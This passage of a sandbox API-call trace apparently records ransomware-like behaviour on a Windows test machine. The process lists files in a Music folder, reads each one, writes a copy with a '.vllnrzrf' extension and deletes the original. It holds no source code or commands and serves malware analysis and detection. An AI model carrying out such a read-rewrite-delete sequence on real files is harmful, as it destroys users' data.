lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\IMG8CWg2GPpV.m4a", lpFilePart=0x0) returned 0x4f [0111.586] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\IMG8CWg2GPpV.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\img8cwg2gppv.m4a")) returned 1 [0111.589] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\pfW0am0QS.mp3", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\pfW0am0QS.mp3", lpFilePart=0x0) returned 0x4c [0111.589] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\pfW0am0QS.mp3", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\pfW0am0QS.mp3", lpFilePart=0x0) returned 0x4c [0111.589] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\pfW0am0QS.mp3", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\pfW0am0QS.mp3", lpFilePart=0x0) returned 0x4c [0111.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e590) returned 1 [0111.589] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\pfW0am0QS.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\pfw0am0qs.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x324 [0111.589] GetFileType (hFile=0x324) returned 0x1 [0111.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04e500) returned 1 [0111.590] GetFileType (hFile=0x324) returned 0x1 [0111.590] GetFileSize (in: hFile=0x324, lpFileSizeHigh=0x1c04e728 | out: lpFileSizeHigh=0x1c04e728*=0x0) returned 0x11407 [0111.595] ReadFile (in: hFile=0x324, lpBuffer=0x2223688, nNumberOfBytesToRead=0x11407, lpNumberOfBytesRead=0x1c04e658, lpOverlapped=0x0 | out: lpBuffer=0x2223688*, lpNumberOfBytesRead=0x1c04e658*=0x11407, lpOverlapped=0x0) returned 1 [0111.597] CloseHandle (hObject=0x324) returned 1 [0111.615] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\pfW0am0QS.mp3.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\pfW0am0QS.mp3.vllnrzrf", lpFilePart=0x0) returned 0x55 [0111.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c04e590) returned 1 [0111.615] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\pfW0am0QS.mp3.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\pfw0am0qs.mp3.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x524 [0111.616] GetFileType (hFile=0x524) returned 0x1 [0111.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c04e500) returned 1 [0111.616] GetFileType (hFile=0x524) returned 0x1 [0111.616] WriteFile (in: hFile=0x524, lpBuffer=0x22835a0*, nNumberOfBytesToWrite=0x11607, lpNumberOfBytesWritten=0x1c04e6b8, lpOverlapped=0x0 | out: lpBuffer=0x22835a0*, lpNumberOfBytesWritten=0x1c04e6b8*=0x11607, lpOverlapped=0x0) returned 1 [0111.629] CloseHandle (hObject=0x524) returned 1 [0111.641] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\pfW0am0QS.mp3", nBufferLength=0x105, lpBuffer=0x1c04e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\pfW0am0QS.mp3", lpFilePart=0x0) returned 0x4c [0111.641] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\pfW0am0QS.mp3", nBufferLength=0x105, lpBuffer=0x1c04e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\pfW0am0QS.mp3", lpFilePart=0x0) returned 0x4c [0111.642] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\pfW0am0QS.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\pfw0am0qs.mp3")) returned 1 [0111.644] CoUninitialize () Thread: id = 85 os_tid = 0x86c [0111.649] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0111.649] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1c91e960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0111.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91edc0) returned 1 [0111.649] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", nBufferLength=0x105, lpBuffer=0x1c91e8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J", lpFilePart=0x0) returned 0x4f [0111.649] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\", nBufferLength=0x105, lpBuffer=0x1c91e850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\", lpFilePart=0x0) returned 0x50 [0111.649] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\*.*", lpFindFileData=0x1c91ea60 | out: lpFindFileData=0x1c91ea60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe781da60, ftCreationTime.dwHighDateTime=0x1d5dfd6, ftLastAccessTime.dwLowDateTime=0x16bb4880, ftLastAccessTime.dwHighDateTime=0x1d5e7bf, ftLastWriteTime.dwLowDateTime=0x16bb4880, ftLastWriteTime.dwHighDateTime=0x1d5e7bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0111.650] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c91eab0 | out: lpFindFileData=0x1c91eab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe781da60, ftCreationTime.dwHighDateTime=0x1d5dfd6, ftLastAccessTime.dwLowDateTime=0x16bb4880, ftLastAccessTime.dwHighDateTime=0x1d5e7bf, ftLastWriteTime.dwLowDateTime=0x16bb4880, ftLastWriteTime.dwHighDateTime=0x1d5e7bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.650] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c91eab0 | out: lpFindFileData=0x1c91eab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8692a80, ftCreationTime.dwHighDateTime=0x1d5e068, ftLastAccessTime.dwLowDateTime=0x1c0a7670, ftLastAccessTime.dwHighDateTime=0x1d5dc80, ftLastWriteTime.dwLowDateTime=0x1c0a7670, ftLastWriteTime.dwHighDateTime=0x1d5dc80, nFileSizeHigh=0x0, nFileSizeLow=0x6255, dwReserved0=0x0, dwReserved1=0x0, cFileName="aKSBMOEG.wav", cAlternateFileName="")) returned 1 [0111.650] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c91eab0 | out: lpFindFileData=0x1c91eab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc33045b0, ftCreationTime.dwHighDateTime=0x1d5dee7, ftLastAccessTime.dwLowDateTime=0x145a0450, ftLastAccessTime.dwHighDateTime=0x1d5e7dd, ftLastWriteTime.dwLowDateTime=0x145a0450, ftLastWriteTime.dwHighDateTime=0x1d5e7dd, nFileSizeHigh=0x0, nFileSizeLow=0xcc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMS4hTHknryzOdZcs.m4a", cAlternateFileName="GMS4HT~1.M4A")) returned 1 [0111.650] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c91eab0 | out: lpFindFileData=0x1c91eab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1659670, ftCreationTime.dwHighDateTime=0x1d5e3b1, ftLastAccessTime.dwLowDateTime=0x4426f660, ftLastAccessTime.dwHighDateTime=0x1d5e531, ftLastWriteTime.dwLowDateTime=0x4426f660, ftLastWriteTime.dwHighDateTime=0x1d5e531, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KEfupT", cAlternateFileName="")) returned 1 [0111.651] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c91eab0 | out: lpFindFileData=0x1c91eab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee8b780, ftCreationTime.dwHighDateTime=0x1d5e6b5, ftLastAccessTime.dwLowDateTime=0x691b60d0, ftLastAccessTime.dwHighDateTime=0x1d5d8e5, ftLastWriteTime.dwLowDateTime=0x691b60d0, ftLastWriteTime.dwHighDateTime=0x1d5d8e5, nFileSizeHigh=0x0, nFileSizeLow=0x14ab2, dwReserved0=0x0, dwReserved1=0x0, cFileName="kxNNw5kgU Ui.mp3", cAlternateFileName="KXNNW5~1.MP3")) returned 1 [0111.651] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c91eab0 | out: lpFindFileData=0x1c91eab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1a3ca0, ftCreationTime.dwHighDateTime=0x1d5e04d, ftLastAccessTime.dwLowDateTime=0x5295f4f0, ftLastAccessTime.dwHighDateTime=0x1d5db7a, ftLastWriteTime.dwLowDateTime=0x5295f4f0, ftLastWriteTime.dwHighDateTime=0x1d5db7a, nFileSizeHigh=0x0, nFileSizeLow=0x8f13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nud8XnSODBvwpirVJL.wav", cAlternateFileName="NUD8XN~1.WAV")) returned 1 [0111.651] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c91eab0 | out: lpFindFileData=0x1c91eab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56982fd0, ftCreationTime.dwHighDateTime=0x1d5db18, ftLastAccessTime.dwLowDateTime=0x1f0ebc70, ftLastAccessTime.dwHighDateTime=0x1d5dd96, ftLastWriteTime.dwLowDateTime=0x1f0ebc70, ftLastWriteTime.dwHighDateTime=0x1d5dd96, nFileSizeHigh=0x0, nFileSizeLow=0x1d3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="VwsKjpsERhsNZ0.m4a", cAlternateFileName="VWSKJP~1.M4A")) returned 1 [0111.651] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c91eab0 | out: lpFindFileData=0x1c91eab0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0111.651] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0111.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91ed10) returned 1 [0111.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91ecd0) returned 1 [0111.835] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\aKSBMOEG.wav", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\aKSBMOEG.wav", lpFilePart=0x0) returned 0x5c [0111.835] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\aKSBMOEG.wav", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\aKSBMOEG.wav", lpFilePart=0x0) returned 0x5c [0111.835] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\aKSBMOEG.wav", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\aKSBMOEG.wav", lpFilePart=0x0) returned 0x5c [0111.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91ecb0) returned 1 [0111.835] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\aKSBMOEG.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\aksbmoeg.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d4 [0111.836] GetFileType (hFile=0x4d4) returned 0x1 [0111.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91ec20) returned 1 [0111.836] GetFileType (hFile=0x4d4) returned 0x1 [0111.836] GetFileSize (in: hFile=0x4d4, lpFileSizeHigh=0x1c91ee48 | out: lpFileSizeHigh=0x1c91ee48*=0x0) returned 0x6255 [0111.836] ReadFile (in: hFile=0x4d4, lpBuffer=0x229bca0, nNumberOfBytesToRead=0x6255, lpNumberOfBytesRead=0x1c91ed78, lpOverlapped=0x0 | out: lpBuffer=0x229bca0*, lpNumberOfBytesRead=0x1c91ed78*=0x6255, lpOverlapped=0x0) returned 1 [0111.837] CloseHandle (hObject=0x4d4) returned 1 [0112.129] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\aKSBMOEG.wav.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\aKSBMOEG.wav.vllnrzrf", lpFilePart=0x0) returned 0x65 [0112.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91ecb0) returned 1 [0112.130] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\aKSBMOEG.wav.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\aksbmoeg.wav.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x324 [0112.138] GetFileType (hFile=0x324) returned 0x1 [0112.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91ec20) returned 1 [0112.138] GetFileType (hFile=0x324) returned 0x1 [0112.139] WriteFile (in: hFile=0x324, lpBuffer=0x22cc518*, nNumberOfBytesToWrite=0x6455, lpNumberOfBytesWritten=0x1c91edd8, lpOverlapped=0x0 | out: lpBuffer=0x22cc518*, lpNumberOfBytesWritten=0x1c91edd8*=0x6455, lpOverlapped=0x0) returned 1 [0112.141] CloseHandle (hObject=0x324) returned 1 [0112.144] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\aKSBMOEG.wav", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\aKSBMOEG.wav", lpFilePart=0x0) returned 0x5c [0112.144] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\aKSBMOEG.wav", nBufferLength=0x105, lpBuffer=0x1c91e970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\aKSBMOEG.wav", lpFilePart=0x0) returned 0x5c [0112.144] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\aKSBMOEG.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\aksbmoeg.wav")) returned 1 [0112.148] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\GMS4hTHknryzOdZcs.m4a", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\GMS4hTHknryzOdZcs.m4a", lpFilePart=0x0) returned 0x65 [0112.149] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\GMS4hTHknryzOdZcs.m4a", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\GMS4hTHknryzOdZcs.m4a", lpFilePart=0x0) returned 0x65 [0112.149] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\GMS4hTHknryzOdZcs.m4a", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\GMS4hTHknryzOdZcs.m4a", lpFilePart=0x0) returned 0x65 [0112.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91ecb0) returned 1 [0112.149] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\GMS4hTHknryzOdZcs.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\gms4hthknryzodzcs.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x324 [0112.149] GetFileType (hFile=0x324) returned 0x1 [0112.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91ec20) returned 1 [0112.149] GetFileType (hFile=0x324) returned 0x1 [0112.149] GetFileSize (in: hFile=0x324, lpFileSizeHigh=0x1c91ee48 | out: lpFileSizeHigh=0x1c91ee48*=0x0) returned 0xcc1 [0112.149] ReadFile (in: hFile=0x324, lpBuffer=0x22d4448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c91ed78, lpOverlapped=0x0 | out: lpBuffer=0x22d4448*, lpNumberOfBytesRead=0x1c91ed78*=0xcc1, lpOverlapped=0x0) returned 1 [0112.150] CloseHandle (hObject=0x324) returned 1 [0112.155] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\GMS4hTHknryzOdZcs.m4a.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\GMS4hTHknryzOdZcs.m4a.vllnrzrf", lpFilePart=0x0) returned 0x6e [0112.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91ecb0) returned 1 [0112.155] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\GMS4hTHknryzOdZcs.m4a.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\gms4hthknryzodzcs.m4a.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x324 [0112.156] GetFileType (hFile=0x324) returned 0x1 [0112.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91ec20) returned 1 [0112.156] GetFileType (hFile=0x324) returned 0x1 [0112.156] WriteFile (in: hFile=0x324, lpBuffer=0x22de9f0*, nNumberOfBytesToWrite=0xec1, lpNumberOfBytesWritten=0x1c91ec88, lpOverlapped=0x0 | out: lpBuffer=0x22de9f0*, lpNumberOfBytesWritten=0x1c91ec88*=0xec1, lpOverlapped=0x0) returned 1 [0112.182] CloseHandle (hObject=0x324) returned 1 [0112.188] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\GMS4hTHknryzOdZcs.m4a", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\GMS4hTHknryzOdZcs.m4a", lpFilePart=0x0) returned 0x65 [0112.188] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\GMS4hTHknryzOdZcs.m4a", nBufferLength=0x105, lpBuffer=0x1c91e970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\GMS4hTHknryzOdZcs.m4a", lpFilePart=0x0) returned 0x65 [0112.188] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\GMS4hTHknryzOdZcs.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\gms4hthknryzodzcs.m4a")) returned 1 [0112.192] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\kxNNw5kgU Ui.mp3", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\kxNNw5kgU Ui.mp3", lpFilePart=0x0) returned 0x60 [0112.192] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\kxNNw5kgU Ui.mp3", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\kxNNw5kgU Ui.mp3", lpFilePart=0x0) returned 0x60 [0112.192] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\kxNNw5kgU Ui.mp3", nBufferLength=0x105, lpBuffer=0x1c91e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\kxNNw5kgU Ui.mp3", lpFilePart=0x0) returned 0x60 [0112.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91ecb0) returned 1 [0112.192] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\kxNNw5kgU Ui.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\kxnnw5kgu ui.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x324 [0112.192] GetFileType (hFile=0x324) returned 0x1 [0112.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c91ec20) returned 1 [0112.192] GetFileType (hFile=0x324) returned 0x1 [0112.192] GetFileSize (in: hFile=0x324, 